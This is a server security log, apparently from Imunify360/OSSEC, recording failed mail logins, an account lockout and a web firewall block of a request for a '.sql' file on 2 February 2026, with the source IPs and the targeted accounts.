2026-02-02 07:49:37 dovecot_login authenticator failed for H=(WsPHxPQb2) [165.154.217.204]:56241: 535 Incorrect authentication data (set_id=intercessors)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 23.94.28.164
country_id: 6252001
domain: printspecsolution.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/printspecsolution.sql||User:printspecsolutio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-02 07:49:54 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:32826: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.217.204
country_id: 1880251
description:
Feb  2 07:49:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account prayerlink@agpc.org.my has been locked for the attacker IP 165.154.217.204


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-02 07:50:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64501: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.202.241
country_id: 149590
description:
2026-02-02 07:50:59 dovecot_login authenticator failed for H=(241.202-59-41.data-dsm.ttcldata.net) [41.59.202.241]:55248: 535 Incorrect authentication data (set_id=info)


